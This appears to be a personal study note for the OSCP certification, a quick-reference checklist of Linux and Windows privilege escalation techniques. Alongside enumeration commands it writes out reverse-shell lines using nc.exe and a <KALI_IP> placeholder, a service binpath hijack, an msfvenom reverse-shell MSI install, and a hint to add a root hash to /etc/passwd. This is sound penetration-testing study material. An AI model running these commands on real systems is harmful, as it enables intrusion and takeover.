Gianfranco's Notes

    03 Privilege Escalation Guide

    2 min readUpdated Jul 24, 2026

    Created: 2026-07-24 13:50
    #note

    🔑 Privilege Escalation Quick Reference Guide

    [!tip] Golden Rule
    Always run automated scripts (linpeas.sh / winPEAS.exe / PrivescCheck.ps1) first, then manually verify suspicious findings using GTFOBins or LOLBAS.

    🐧 Linux Privilege Escalation Checklist

    1. Sudo Privileges (sudo -l):

      • Check binaries against GTFOBins.
      • Check environment variables: env_keep+=LD_PRELOAD or env_keep+=PYTHONPATH.

    2. SUID / SGID Binaries:

      find / -perm -u=s -type f 2>/dev/null

    3. Cron Jobs & System Timers:

      cat /etc/crontab /etc/cron.*/*
pspy64 # Monitor real-time processes without root

    4. Capabilities:

      getcap -r / 2>/dev/null

    5. Writable Configuration Files:

      • /etc/passwd (writable -> add root user hash).
      • /etc/exports (NFS no_root_squash).

    🪟 Windows Privilege Escalation Checklist

    1. Token Impersonation (SeImpersonatePrivilege / SeAssignPrimaryToken):

      • Use PrintSpoofer.exe, GodPotato.exe, or JuicyPotatoNG.exe.

    2. Unquoted Service Paths:

      wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"

    3. Insecure Service Permissions:

      accesschk.exe /accepteula -uwcqv "Authenticated Users" *
sc config <SERVICE_NAME> binpath= "C:\temp\nc.exe -e cmd.exe <KALI_IP> 4444"
sc start <SERVICE_NAME>

    4. AlwaysInstallElevated:

      reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
      • If both equal 1, generate malicious .msi via msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f msi -o reverse.msi and run msiexec /quiet /qn /i reverse.msi.

    5. Saved Credentials in Registry / Files:

      cmdkey /list
runas /savecred /user:administrator "C:\temp\nc.exe -e cmd.exe <KALI_IP> 4444"

    Tags

    #oscp #privesc #linux #windows #gtfobins #lolbas #linpeas #winpeas

    Local Knowledge Graph